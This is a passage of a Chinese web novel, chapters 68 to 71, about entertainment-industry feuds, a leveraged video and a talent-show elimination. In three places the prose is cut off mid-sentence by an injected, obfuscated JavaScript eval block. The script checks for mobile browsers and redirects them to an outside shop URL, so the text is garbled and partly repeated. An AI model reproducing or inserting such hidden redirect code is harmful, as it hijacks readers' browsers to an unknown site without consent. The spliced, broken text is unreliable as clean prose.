“这杯酒,你无论如何不能拒绝。” 那杯酒被他一把夺走,谷煜庆幸那天的饭局邀请了他,不然谁知道高翔的阴暗胁迫之下,在那些人品卑劣毫无艺德的导演的群狼环伺之下,形单影只的尤有芒要如何脱身。 那天如果不是时闻拦住他,他早把高翔摁地上暴打一顿了,不打到亲妈都不认识的地步他就不姓谷。 当然,也幸好时闻拦住了他,不然他也有可能和时闻一样被高翔报复做局,刚打完人就被警察盯上。 那时正是他接班笑口集团的关键时期,如果进了局子,那帮元老们立刻可以以此为由,把他开除。 高翔听见尤有芒的指控,一开始还以为自己听错了,怎么着,今天是犯太岁了,这些底层的小虾米们一个个都要造反不成? 他松开林见微,转身盯着尤有芒,恶狠狠地指着她低吼:“有你什么事?!” 似乎是受到大劈叉的鼓舞,尤有芒的眼睛里也毫无惧色,高翔至少比她高一头,但因为两人中间距离颇大,她平视高翔,不卑不亢道: “有我很多事,你的卑劣行径,我见的听的还少吗?” 高翔不可思议地盯着她半晌,而后冷笑一声,黑色瞳孔里渐渐开始闪起疯狂的光,他迈开长腿,一步一步往前走去。 灯光下,高大的身形在地上团成巨大的黑色阴影,一点一点自下而上将尤有芒笼起。 然而黑影走到一半,另一道影子横插进来,谷煜拦在中间,挺起的胸脯顶着高翔身子,不让他再前进半步。 高翔玩味地冷笑起来,看着他又看看尤有芒,半晌低沉道:“你又算是哪根葱?” 不待谷煜回答,高翔立马续道:“绣花枕头,草包一个,瞎折腾的富二代,有名无实的接班人。公司内部的火扑灭了吗,就在这里瞎管闲事?” 谷煜攥紧的拳头关节发出咔咔脆响,咬牙道:“就算我是绣花枕头,也比你天天醉生梦死玩|弄女人,管不住裤|裆里的东西强。” 高翔呵呵一笑:“我好歹有女人可以玩|弄,你呢?”说着意味深长地看了尤有芒一眼,“苦追了这么久,也没什么成效啊。” 一句话正戳中谷煜的心事和最痛的地方,他大吼一声,将全身的愤怒都集中到拳头上,瞄着高翔的脸奋力抡去! 二人近在咫尺,高翔灵敏闪身,但拳头还是砸在他胳膊上,一阵剧痛顺着骨头一路侵到脑髓。 高翔大怒,立刻还了一拳,这次谷煜也没及时闪身,拳头正中他小腹。 谷煜惨叫一声,一蹦三尺高用全身力量朝高翔扑去,眼看二人就要扭打在一起,徐总、时穆飞、周落兵分三路,徐总抱着谷煜大腿,时穆飞搂着高翔后腰,周落拽着高翔胳膊,三人使出吃奶的劲,试了好几次才勉强把二人分开。 即便如此,高翔和谷煜依然互相不断冒出污言秽语,对对方的祖宗十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738570|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八代进行无差别攻击。 尤有芒呆呆站在原地,想要上去拉架,但又实在不敢,只得眼睁睁看着局面一步步失控。 这时不远处的转角响起一个声音:“先别打了,听我说几句。” 那声音熟悉极了,众人惊讶望去,只见时闻出现在转角处,目光冷冷地盯着兀自试图挣脱时穆飞和周落环抱的高翔。 高翔看清来人,不由得发出一阵呵呵大笑,时穆飞更是直接松开高翔——高翔本来极力向前试图挣脱时穆飞和周落的环抱,现在后面一下失力,高翔一个前栽,差点没狗吃屎摔地上。 时穆飞抢到时闻面前,恨不得直接扇几个大耳刮子: “你怎么过来了!在这里瞎掺和什么!” 时闻倒像是丝毫没听见似的,目光径直越过时穆飞,冷冷落到高翔那张扭曲抽搐的脸上。 “我也是证人,你忘了?” 时穆飞立刻拦在前面咆哮道:“当我不存在吗??你再这样,家里直接断供!!你别以为我做不出来!” 时闻这才正儿八经地看向时穆飞——时家两兄弟身高相仿,但一个仿佛不食人间烟火的清冷谪仙,一个则因沾了太多烟火气而显得油里油气。 时闻冷笑道:“我拍戏攒了不少钱,想断供请随意。” 时穆飞梗着脖子吼道:“你在这里装什么大款!你以为我不知道吗,你挣的那点钱,一多半都投到你那个什么相逢影视了,而且不是我说你,你也太没有商业眼光了,投资新人导演新人演员,到头来还不是把底裤都赔掉了??” 他这么说的时候,林见微和尤有芒同时低低惊叫一声。 相逢影视?那是她们俩的伯乐,是梦启航的地方。 林见微的成名作《烟雨半生》就是相逢影视投拍的。 她也是在那部戏和陈怀顾结缘,而后在庆功宴上第一次见到时闻…… 难道,时闻就是相逢影视的老板,给她插上逐梦翅膀的贵人,送她一路青云直上的渡口? 其实就连周落也暗暗吃惊,他做新人的时候四处碰壁,经历了一段没有任何剧组愿意录用的人生至暗时光。 《月淡花浓》之后他拍的第二部戏,也是相逢影视投资的,他的事业也是从那之后,才开始一步步迈入正轨。 看来时闻非常低调,就连圈内都鲜少有人知道,他就是相逢影视的幕后老板。 其实如果真的公开了,娱乐圈近一半的年轻演员都要排着队到他家门口道谢,因为他们职业生涯初期,都或多或少受到过相逢影视的默默资助。 时闻非常不满时穆飞公然把他的秘密公之于众,立刻低吼道:“我愿意怎么投资就怎么投资,哪怕饿死街头也要投资!” “因为那样也好过你的生活,永远看不清人心,和没心肝的人夜夜笙歌,狼狈为奸!” 时穆飞气得鼻子都歪了,急红了眼,抡起拳头,但咬牙几次,却最终没舍得挥下来,只憋出一句:“你瞎说!” 时闻继续冷冷道:“我瞎说?呵,时间终会证明一切。我跟你说过很多次,高翔不是什么好人,你别总跟他鬼混在一起……” 时穆飞咆哮着打断:“住口!不许侮辱我兄弟,不要挑拨离间!” 时闻无奈地看着时穆飞,他知道说什么都是枉然,时穆飞和高翔是从小玩到大的情谊,两个人好得能穿一条裤子。 任何人说高翔半句不好,时穆飞都要上前和人动手,不把人打趴下决不罢休。 可是时穆飞待高翔一片赤诚,可以为他两肋插刀,但高翔可不一定愿意做同样的事…… 当局者迷旁观者清,时闻苦苦相劝多次无果,后来也不愿再说什么,只是情急之下还是忍不住。 这时高翔终于走上前来,站在时穆飞身旁,眯眼瞅着时闻,上下打量几次后才慢悠悠道: “小闻,你怎么来了?” “还有,你刚刚说什么?你也是证人?” 时闻冷笑地看着他——几周不见,那张脸显得愈发可憎了。 他站在时穆飞身旁,活脱脱是农夫与蛇翻版,高翔是那条邪恶阴冷的蛇,而时穆飞是那个傻呵呵被人卖了还帮人数钱的农夫。 时闻憎恶地盯着高翔,停顿片刻后,一字一顿道:“我有当时的视频,完整版,你想看吗?” 69.六十九 高翔的瞳孔骤然紧缩,目光也变得戒备感十足。 不过一切都是瞬息间的事,高翔脸上很快就如变戏法一样,换上了一副夸张的笑容: “视频?完整版?你在说什么啊?” 而后他压低声音,故意顶胯,意有所指地说:“你说得不会是……我大展雄风的视频吧?” 徐总发出一阵不怀好意的低笑,时闻厌恶地看着高翔,也不言语,直接从兜里掏出手机,划了几下后推到高翔面前。 手机是静音,但高翔盯着屏幕看了十几秒钟后,面色刷地变白了。 “你怎么会有这个?”高翔抬起头,额头纹路显得异常深刻。 时闻收回手机,放回兜里:“和你无关。” 高翔目光在他脸上牢牢钉了足足一分钟,没有说任何话,脸上神色说明他陷入深深沉思。 刚刚的视频记录的是《风华绝代》上映之后的一天晚上,时闻深夜醉酒当街打人的完整过程。 视频太过完整,以至于把之前酒局上的事都记录在内,包括高翔当时是怎样吐沫星子横飞,洋洋得意地给大家介绍自己如何做局陷害《风华绝代》和林见微。 也记录了时闻中途闯进来质问高翔,二人情绪激动,先发生了言语冲突,而后高翔的人先动了手,然后时闻才还手。 扭打间高翔人多势众,把时闻逼退到大马路上,打斗又持续了一刻钟,最后时闻以一敌十取胜。 《风华绝代》上映后,高翔知道以时闻的脾性,很可能会找上门来,于是他干脆一不做二不休,每次出门都专门安排人在暗中追踪摄像,就为了抓拍时闻当街打人的画面。 然后找到相熟的狗仔和媒体平台,直接把剪辑过的视频发过去,上热搜,把时闻彻底搞倒,让他永无翻身之日。 他和时闻本没什么大仇,也就是彼此看不顺眼罢了,有很多次,高翔都想看在时穆飞的面子上放他一马,不和他一般见识。 但时闻一而再再而三地挡他的路,非要做他追求林见微路上的绊脚石,还当众对他动武,这让高翔颜面扫地,恼羞成怒。 后来他对林见微生了得不到就毁掉的心,时闻也是千方百计地使绊子,就是不让他得逞。 既然如此,那就别怪他不客气,高翔干脆使出狠招,想一举让时闻从娱乐圈永久除名,再无翻盘可能。 他本以为爆出时闻深夜醉酒当街打人的负面新闻已是绝杀,没想到时闻这小子不知从哪里搞到了完整版视频,清晰地记录了当时的全过程。 如果这段视频公布到网上,无异于彻底洗刷了时闻的负面新闻,还会反噬到他和打点好关系的媒体朋友身上,轻则被网民日夜问候祖宗十八代,重则还要去警局走一趟,负法律责任。 不,他绝不能让这些事发生!绝不能被时闻这个楞头小子反杀! 可是眼下……又没有什么好的办法可以绝地反击。 踌躇间时闻说:“我可以暂时不把视频公之于众,只要你答应我几个条件。” 高翔拧眉盯着他,半晌后唇齿间恶狠狠地吐出两个字:“你说。” 时闻:“第一,解封大劈叉的直播账号。” 时穆飞立刻瞪了他一眼,分明在说,你小子忘了刚刚答应我什么了?? 高翔嘶哑道:“我可以解封,但是,她不能在上面乱说话,不能提及任何有关我或者高家、高源资本的事。” 时闻和林见微立刻迅速交换了下目光。 能找回账号已经很好了,能重新直播意味着可以获得更多的人气、流量、商机。 这已经是意外之喜,其他的可以慢慢来。 一切都在不言中,二人迅速达成共识,时闻看向高翔点了点头:“成交。” 然后他续道:“第二,撤销对舒氧酸奶的恶意举报。” 这次高翔痛快地点头:“没问题,成交。” 时闻又说:“最后一条,把原本属于笑口集团的冠名权还给谷煜。” 这一次,高翔和周落的面色同时沉了下去。 当时高翔为了给谷煜使绊子,故意运作了一番,把原本属于笑口集团的中标转给了周落的公司黎明夜空。 现在要让周落把已经吃下的肉吐出来,那怎么行。 这无异于割肉。 周落籍籍无名了很多年,一开始为了拍戏四处求人,倒贴钱工作,最近一两年有了流量才稍稍富裕起来。 但他还是根基薄弱,没有什么抗风险能力,《星璨》冠名权也是他喝了好多酒,历经艰险才求来的。 结果还没高兴几天,煮熟的鸭子就要被人要回去? 高翔看向周落,眼神里分明在问:你的意思呢? 周落心里顿时咯噔一下,高翔把球抛给自己,明摆着是没有要回护的意思,不然早就硬刚了。 喉结上下动了几次,周落才艰难道:“我……我听从翔哥的安排。” 高翔意味深长地看了他几眼,最后重重点点头:“好,那我去和陈华、胡享云商量一下,看看能不能再增加一个冠名商。” 他的意思是保留黎明夜空的冠名权,同时给笑口集团再运作一个名额。 时闻立刻说:“我要的是和之前中标公司同样的待遇,包括广告宣传、品牌曝光、线上互动、线下活动等。” 高翔点头:“我明白你的意思,我尽量。” 时闻:“不是尽量,是必须。” 时穆飞打断道:“差不多就行了,你翔哥愿意做到这些已经很不错了,不要得寸进尺。” 时闻冷笑一声,时穆飞不知道刚刚他展示的视频威慑力有多大,所以才这么说。 不然他也要大跌眼镜,一叠声地答应他的所有请求。 那完整版视频放出去,不仅会引发公众舆论地震,还会把一条线上的人都牵连进去,到时候挨个被请去喝茶可不是闹着玩的。 时闻依然盯着高翔:“期限呢?这些事你多长时间办成?” 高翔想了想:“解封账号和撤销举报这两天就能做到,但冠名权牵扯甚广,可能要待一段时间……” 时闻:“一周,我只给你一周时间。” 高翔立刻哀嚎抗议:“一周??小闻你是真不知道这里面轻重,光是联系打点那些大领导就不止要等一周,还有那些管审批的,谁知道人家有没有空!可能人家全家现在都在欧洲或者澳洲海滩度假呢,我总不能硬把人拽回来给我盖章……” 时闻冷冷打断:“我不管,就一周,我没耐心。” 高翔无奈叹气,心里把时闻千刀万剐无数次,又把时穆飞也加进去,骂他管弟无方,搞出这么个刺头。 但是没办法最后只得服软:“行,要是人家不回来,我就自己飞过去。” 时闻这才满意地点点头:“好,一言为定。” 事情都谈完了,高翔只想赶紧离开,他阴着脸朝徐总和周落看了一眼,然后一言不发地朝前走去。 徐总脸上写满了阴狠,愤愤地朝林见微等人瞪了一眼,然后低头快步跟着高翔离开。 周落则神色复杂,路过林见微时脸上一副欲言又止的样子,但他终究什么也没说,轻叹一声后快步离开。 时穆飞等几人走远,怒目圆睁瞪着时闻,恶狠狠道:“你小子有种啊!刚刚答应我的事,转眼就忘了?” 时闻面无表情:“我帮大劈叉解封账号,不过是商业合作,没有其他意思。” 时穆飞还想再骂点什么,但一旁有个一脸茫然无助的小助理不停探头,神色焦急,似乎是要催流程。 他离开挺久的了,不知道比赛进行到哪里了。 他还得回去评她娘的审。 所以纵使心里有千句骂言,时穆飞还是只挤出一句“回去再找你算账!”,又盯着林见微道:“别忘了你俩答应我的事!” 时闻无动于衷,就当时穆飞是空气,林见微也默不作声。 时穆飞顿时有一种铁拳砸到了棉花里的感觉,心乱如麻,内心骂了无数声艹。 但公开场合,他也不便再发说什么,只得重重叹口气,手指在时闻和林见微脸上捣蒜般来回指指点点,大声哼了一下。 然后背着手,大步朝那个弱小可怜无助的小助理走去。 小助理如同见了救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤有芒看出了大劈叉的疑虑,温柔一笑:“我感谢你在网上为林见微发声,”说着快速看了一眼时闻,回头时目光里多了几分意味深长,“而且,时闻看中的人,肯定不会差。” 不知是不是错觉,林见微总觉得尤有芒把“看中”两个字咬得重了一些。 可能是做贼心虚,她的脸上突然像火烧一样,热辣辣的。 幸好尤有芒没太纠结这件事,两人加完好友说:“赶紧回观战间吧,节目还在录制,接下来的比赛加油!” 说着她就要匆匆离开,但谷煜却叫住了她,把手中提着的半拉糕点递过去:“有芒,那这蛋糕……你和我……” 那声音竟有些滚烫,尤有芒的脸也瞬间如火烧一般。 刚刚一番折腾本来都忘了,但现在她满脑子都是刚才高翔朝她走来时,谷煜二话不说拦在她身前。 虽然谷煜没有她喜欢的健硕魁梧的身材,武力值……也就那样,但刚刚那个高光时刻,他显得那么伟岸英勇。 而且几周前,在山水饭店他也挺身而出,后来还因此遭了高翔的报复,研制出来的舒氧酸奶被人恶意举报,后来还丢了《星璨》冠名权。 可是他什么也没有提,只会在她身处险境时,一次又一次不计后果地出手。 刚刚他来给她送糕点,她正和时闻讨论她新戏剧本的事,她是在门口接待的谷煜。 本来谷煜的行为挺让她暖心感动的,桂花糕绿豆糕和红豆糕都飘香四溢,可是这傻小子可能是近视,也不看清环境,非要说什么他喜欢她很久了。 还问她能不能经常和他一起出去吃吃饭,看看电影。 苍天啊,他看上去智商没问题,可是为什么不知道,表白是需要看时候和场合的?? 时闻倒是很知趣地咳嗽一声,谷煜立刻满脸大窘,他太紧张了,完全没意识到里面还有人。 尤有芒虽然经常出席一些大场合,但她本质上还是个i得不能再i的人,眼前的尴尬局面让她脚趾疯狂扣地,她甚至连时闻什么时候出去的都不知道。 记忆的下一瞬她就捂脸跑到走廊里了,谷煜提溜着糕点在后面一通猛追。 唉,所以,面对谷煜重新捧上来的糕点,她是接还是不接呢? 70.七十 时闻轻咳一声,无声无息走到林见微身旁,捏了捏她衣袖,俯在她耳边低声道:“咱们走吧。” 林见微会意,朝尤有芒露出一个歉意的笑: 对不起啊姐妹,我朋友有点二。 但人是好人啊,你把握住了。 然后她朝谷煜露出一个半是鼓励半是同情的笑,又俯身把刚刚撞地上的芒星人灯牌捡起,塞到谷煜手里。 她给了谷煜一个暗示的眼神:有戏,看你的了。 然而谷煜机械地接过灯牌,脸上依然是一副茫然的表情。 林见微叹了口气:唉算了,扶不上墙啊。 时闻想送林见微回观战间,但林见微警惕地看了看四周,拒绝道:“被别人看到了不好,而且我们不是已经在你哥那里立了军令状了,所以得装不熟。” “以后在人前,咱俩要保持一米以上的距离!” 时闻看着空荡荡的走廊,先是嘿嘿笑了,而后突然收敛笑容,非常严肃地道:“看不出,你还挺有经验的?” 林见微心想,那当然,当年她和陈怀顾在一起的时候,整天东躲西藏的,生怕被狗仔抓拍到…… 呸呸呸,现在为什么要想起那个狗男人。 她敛眉道:“常识好嘛,而且我们的关系必须绝对保密!” 时闻突然道:“那谷煜……?” 林见微大义灭亲地摇头:“也不行,他也不能知道。” 时闻:“???我们又不是做贼,不用连他都防吧……?” 林见微:“你不觉得,他很多嘴吗?你把秘密告诉他了,还是秘密吗??你想第二天就上热搜,然后在你哥的追杀下我们亡命天涯吗???” 时闻瞬间悟了:“听你的。” 两人立刻做贼一样地分道扬镳,时闻戴好口罩和帽子把自己捂得妈都不认识,林见微则缩头缩脑蹑手蹑脚一步三回头地往观战间摸去。 回到观战间,邓舒华和林波微步早就望眼欲穿地盼着她了,见她狗狗祟祟的身影出现在门口,二人立刻热情招手。 观战间明显比之前更热闹了,大多数选手都完成了表演,屋子坐得满满当当的,大眼一看乌乌压压全是人。 林见微跳着台阶跑到第四排,又说了好几次“对不起借过一下”才挤回原来的位置,还没坐下邓舒华就发出了灵魂拷问: “你刚刚去哪儿了?” 林见微只得胡编乱套了一番,说她出去吃东西了,可是等的人特别多,她又实在太过饥肠辘辘,只得等啊等,最后吃完才回来。 邓舒华和林波微步都非常狐疑地看着她,半信半疑。 林见微害怕招架不住他们的联合问话夹击,决定先发制人:“李颂一表演过了吗?” 此话一出,邓舒华脸色立刻变得极为难看,林波微步也在一旁苦笑。 林见微一下子明白了大半:得,肯定是演得特别炸。 果然,林波微步说道:“你去看看排名榜就知道了。” 提到排名榜,林见微突然紧张起来,既然绝大部分选手都表演完了,她现在排第几呢? 她……还排在前100吗? 小心脏突然砰砰直跳,原本微笑着的嘴角也耷拉下来,这时林波微步又说:“手机上就能看了,你点进邮箱,节目刚刚给大家发了一个链接,点进去就能看到排名了。” 林见微沉声嗯了一下,然后缓缓掏出手机,点开锁屏,找到邮箱,找到第一条未读消息,点进去。 长摁链接,页面跳转,页面加载…… 林见微倒不知道,此时此刻她是希望时间过得慢一些还是快一些好。 思想在“屠刀你慢些放下来”和“早死早超生”之间反复横跳,页面终于完成加载,林见微深吸一口气,鼓起勇气定睛一瞧。 第一名:李颂一 第二名:白濯 第三名:沈露露 …… 第九十五名:扬州大劈叉 林见微猛呼气:太好了,还在前一百名。 然而下一秒,屏幕里传来周落的声音:“下面我们有请本次比赛倒数第六名选手出场,他表演的曲目是……” 林见微:……………… 好吧,还有六名选手。 娘了个腿的。 如果这六名选手分数都比她高,那她就变成第101名了,岂不是没戏了。 虽然她和时穆飞的交易是保证让她晋级,但如果这一轮公开排名她掉在100以后,那指定是没戏了,不然不就真成黑幕了。 之后还有复活赛,所以到那时还有机会。 可是夜长梦多,谁知道从现在到复活赛会发生什么? 万一她和时闻在一起被时穆飞发现了,又万一时穆飞这个狗东西不讲武德,矢口否认曾经的约定呢? 唉,刚刚应该白纸黑字正儿八经签个合约的。 所以这六名选手必须要至少淘汰一个才可以。 林见微是无神论者,但此时此刻她想化身为一个神婆,把后面要上场的六个选手至少咒走一个。 天灵灵地灵灵,求求菩萨快显灵!代表猫猫诅咒你! 然而菩萨好像正在忙,没听见林见微的叫喊,倒数第六名选手稳稳地完成了表演,分数远在林见微之上,在众人的掌声中鞠躬下台。 林见微:啊啊啊啊!!! 然后她赶忙把诅咒的范围调小到后面五位选手之中。 最后的五位选手十分特殊,来自一个团播的男团,组合的名字叫做五夜音符,最近一年在慢手短视频上人气迅速飙升,总是霸占人气榜前五。 他们的表演方式也很特别,因为已经是一个相对成熟的组合,节目组干脆让他们一起上,直接表演他们团播的舞蹈,最后根据个人唱跳水平和整体的动作协调性打分。 如果表演很成功,那就全部晋级。 如果一颗老鼠屎坏了一锅汤,那就让剩下人晋级,刷掉那颗老鼠屎。 林见微紧张地盯着前面大屏幕,邓舒华看穿了她的心思,安慰道:“没事的,他们五个不会全部都晋级的。” 林见微惊讶问:“为什么?” 邓舒华一副成竹在胸的样子:“你想啊,他们这个形式就相当于五个人放在一起互相battle,他们的水平总有好的和稍差一点的,单独比赛时选择的歌曲舞蹈不同,还不一定能看出差别。” “但放在一起近距离对比,哪怕是最微小的差距也会被无限放大。” “所以肯定不会五个人都晋级,吊车尾的那个肯定危险了。” 看邓舒华一副信心满满的样子,林见微稍稍放了心。 她可是来自大厂,乐盛娱乐,对于唱跳和选秀的经验甩自己几条街。 既然她都这么说了,肯定没问题。 于是她开始试图强迫自己欣赏小哥哥们的表演。 其实当她看到五夜音符的时候,她就知道自己不用强迫集中注意力,因为,几个小哥哥的颜值实在太能打了。 而且更绝的是,他们各有各的帅气。 刚刚候场的时候他们一直坐在角落里,也没说话,所以大家没怎么关注到。 但现在他们换好演出服站在台上,仿佛脱胎换骨似的,一下子明艳万分,星光逼人,帅到炸裂。 看看这九头身,看看这大长腿,啧啧。 他们表演的曲目是《花落空山》。 这是一首国风曲,小哥哥们都一袭深蓝色国风刺绣套装,但又各有各的不同。 站在最前面的是五夜音符的队长,宫,走的是知识分子禁欲风,戴着一副金丝眼镜,穿着板正的中山唐装,长袖长裤,领口规规矩矩地扣到最上面。 C位左右两边是商和角,他们二人的路线稍微活泼一些,一个上身长袖套装下身短裤,一个上身短袖下身长裤。 站在最外的是队里的老幺,徵和羽,两个人看着年纪明显小一些,一个顶着一头蓬松卷发,一个把头发烫成淡金色,着装上也明快活泼许多,羽的胸口插着一朵粉红的玫瑰,徵的裤子宽松到可以以假乱真变成裙子。 几人一亮相,众人便预感到一场炸裂的表演即将上演。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752461|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 果不其然,随着音乐的律动,几位小哥哥熟练默契地舞动起来,他们不愧是团播中的翘楚,表情管理、动作协调度、团队默契度都是一流。 而且几人身高身材相仿,五双大长腿真的是十分养眼,看得女生们尖叫连连。 这是一场堪称完美的表演,演出还没结束就引发掌声阵阵,随着音乐结束几人谢幕,观战间和评委席甚至纷纷起立鼓掌叫好,而且纷纷感叹:时间怎么过得这么快! 评委们互相看了一眼,心里不约而同地想:这是顶级男团水平,完美立体地展现了最后从《星璨》出道的三男三女组合要达到什么标准。 观众们则在想:他们都这么牛了,为什么还要来参加选秀节目,和他们抢饭碗啊啊啊啊!! 林见微心里更是五内俱焚,哀嚎遍野:完了,她要凉凉了。 评委们把五人一通夸,季清云说团体的vocal担当,宫,有天籁之声,完全可以考虑solo出道。 蒋方奇则说,团体舞动作非常协调,但配合在一起非常有张力,几人各有特色,完全是可以出道的男团水平。 时穆飞和尤有芒也回来了,其实五夜音符表演开始之前,两人看上去还有些心不在焉,似乎兜着重重心事。 但五夜音符开始表演后,两个人迅速被富有张力的音乐舞蹈吸了进去,逐渐沉迷其中不能自拔。 最后表演结束,两人意犹未尽,纷纷起立鼓掌,时穆飞甚至吹起了口哨呐喊助威。 时穆飞直接叫道:“你们为什么不原地出道呢?我提议,你们也不用继续参加《星璨》选拔了,直接成团出道就好了啊!” 五夜音符诚惶诚恐地纷纷鞠躬,不敢相信一向严苛的时穆飞竟然给出如此高的评价。 尤有芒也笑吟吟道:“你们真的很厉害!我要是刷到你们直播间,肯定会忍不住刷礼物。” 最后,评委们一致给出了8+的高分,队长宫甚至获得了平均分9分的好成绩,直接一跃成为全场第一名。 周落解释说,几位评委决定给宫更高的分数,因为他是队长,除了日常训练,还肩负着加强团队凝聚力的任务,他能带出如此拔尖的团队,理应获得更高的分数加成。 分数出来的时候观战间一片沸腾,所有人再次起立鼓掌叫好,与此同时摇头叹息:不能比,他们和我们不是一个世界的。 就连一向傲气的李颂一也起立鼓掌,打心眼里佩服,当五夜音符来到观战间时,更是破天荒地主动上去迎接握手。 林见微内心苦涩地看着一切,默默打开链接刷新。 果然,她掉到了第101名。 这次比赛只选到第100名。 林见微:…………o(╥﹏╥)o 一片沸腾的欢闹声中,林见微觉得只有自己上方那一小片空气里,凝结了一坨阴雨云,冰凉的雨点啪嗒啪嗒滴下,从头淋到脚,整个人透心凉。 邓舒华注意到了她的失落,拥抱着安慰道: “没事,经历最重要,你已经很棒了!这一屋子几乎都是有过系统训练的,光是没出道的练习生就占了一半!你能打败他们已经很厉害了!” 林见微仍然愁眉苦脸:“可是一年选秀节目就那么多,而且一个人青春有限。” 林波微步凑上来:“没事,我也淘汰了,我比你还大一岁呢。” 说着也大大拥抱了她一下,镜头正好捕捉到,坐在监视器后面的编导立刻对后面拿着小本本的助理说:“别忘了让后期加下字幕:淘汰CP。” 坐在前面的唐筱年和白濯也转头安慰林见微,都表示以后如果有工作机会,一定会想着她。 林见微感动不已:都是战友情啊! 不过这时,一个场控小姐姐跑了进来,对着麦克高喊着:“大家安静一下!” 众人纷纷仰头,只见小姐姐气喘吁吁,似乎是一路跑过来的,还没歇过来就喊话了。 看来她要宣布的事情挺急挺重要的。 众目睽睽下,小姐姐面红气喘地指着大屏幕:“周老师还有话要宣布。” 71.七十一 室内一片惊讶声,小姐姐却只是撂下一句“你们听了就知道了”,然后一溜烟跑出去。 大家抬头,只见周落已经重新站在台上,微笑着宣布道:“各位选手,现在有一个新情况。刚刚时穆飞老师和尤有芒老师因为一些事情,没能参与第三轮比赛前半期的录制,所以也没有给这些选手打分。” “经过评委组和节目组的慎重考虑,决定以公平起见,让时穆飞老师和尤有芒老师现场收看回放,进行打分。” “所以,第三轮前半部分的选手的分数将进行重新计算,大家稍安勿躁,再等待一段时间,我们的最终结果预计在一个小时之后揭晓。” 周落还没说完,室内已经一片哗然,不少选手纷纷抗议:这不是玩我们吗! 那些和林见微类似,挣扎徘徊在100名左右的选手更是哀嚎一片:想让我们得心脏病就直说,为什么整这一出!! 第三轮前半期表演的选手甚至站桌子上抗议:拒绝!!错过了就以其他方式弥补,为什么要这样!! 其实大家最担心的都是一件事:时穆飞导师打分标准成谜,看前面的情况,很可能纯看心情。 所以,他参与打分之后,分数可能会发生翻天覆地的变化。 毕竟,一开始他只给第一位出场的选手打了2分啊! 2分,选秀综艺史上史无前例的清奇分数。 谁知道哪个人能入他老人家的法眼,谁又会被他疯狂diss,收获前无古人后无来者的低分。 一片喧闹的抗议声中,林见微倒是挺淡定:这真是印证了一句老话,光脚的不怕穿鞋的。 反正她都淘汰了,死猪不怕开水烫,再怎么折腾也危及不到她。 而且,想一想她和时穆飞的暗中勾结,说不定整这一出,就能把她送进前100呢。 这么阴暗地进行了一番心理活动,邓舒华一把抱住她和林波微步,激动道:“还能翻盘,还有希望!” 林波微步被她紧搂着,肋骨有点疼,苦笑道:“劈叉或许可以,我就没指望了,我排130名,怎么着也不会晋级了。” 众人抗议归抗议,最终胳膊拧不过大腿,节目组爸爸说什么就是什么,大家吵了一阵,除了原地等待没有什么别的办法。 等着的过程中,林见微手机突然响了。 当时室内一片安静,因为录制了大半天,所有选手都又困又乏,上眼皮打下眼皮,有角落里甚至响起了呼噜声。 所以当林见微的手机铃声炸开时,所有目光都聚焦过来。 林见微顿时感到十分不好意思,赶紧摁下通话键,接听了才发现,这是大河向东刘的电话。 “喂,劈叉,你还在节目录制现场吗?”大河向东刘那中气十足的声音穿透力极强,整个大厅的人都听得很清楚。 林见微窘迫不已,慌忙摁下手机旁侧的音量键,把听筒音量调到最小,与此同时把声音压到最低:“对,怎么了?” 即便如此,大河向东刘并没有明白形势,照例扯着嗓子喊:“那你和波波晋级了吗?” 所有人都听见了这如洪钟一样的灵魂拷问,内心升起一股焦躁。 林见微不得不把声音压得更低:“还不知道呢,在等结果。” 大河向东刘:“那正好啊,我们几个过来了!就在门口!惊不惊喜意不意外?” 林见微哭笑不得:“???你们怎么来了?” 大河向东刘:“我们不是拍视频吗,后来拍着拍着思路枯竭,拍脑门一想:诶,为什么不拍一期探班视频呢?正好蹭一下《星璨》的热度。” “怎么样,我们是不是天才?” 林见微一边苦笑一边抬起屁股往外走,听见了全部对话的林波微步也快速跟上。 “你们已经到门口了?你是说,在大楼下面吗?” 大河向东刘:“嗯呐,你快下来接我们一下呗,你别说,这雨下得还挺大的。” 五分钟后。 大楼一楼,全副武装——披着雨衣穿着雨鞋甚至戴着游泳眼镜——的大河向东刘看见从电梯里出来的林见微和林波微步,立刻开心挥手: “我们在这儿呢!” 一旁的沈惊鸿和南瓜露出尴尬而不失礼貌的笑。 看来大河向东刘的全副武装并非没有道理,因为沈惊鸿和南瓜从头到脚都淋湿了,额前的头发一缕一缕的,此时正疯狂地拿餐巾纸擦脸上的雨水。 林见微:“…………” 林波微步:“你们为了拍视频,还真是下功夫啊。” 大河向东刘摘下游泳眼镜,弹了弹上面的水珠,从防水口袋里拿出摄像机,对准自己直接零帧起手: “大家好啊,今天我们给大家准备了一点新鲜内容,你们猜猜是什么?当当当当——” 镜头无缝转换,林见微在黑色镜头里看到了自己变形的脸。 “那就是,我们决定来探班今年最火的选秀节目,《星璨》,的录制!” “而且我们香蕉平台选送的大波CP现在都在我身后——” 镜头直戳戳地把一脸苦笑的林见微和林波微步都框了进去。 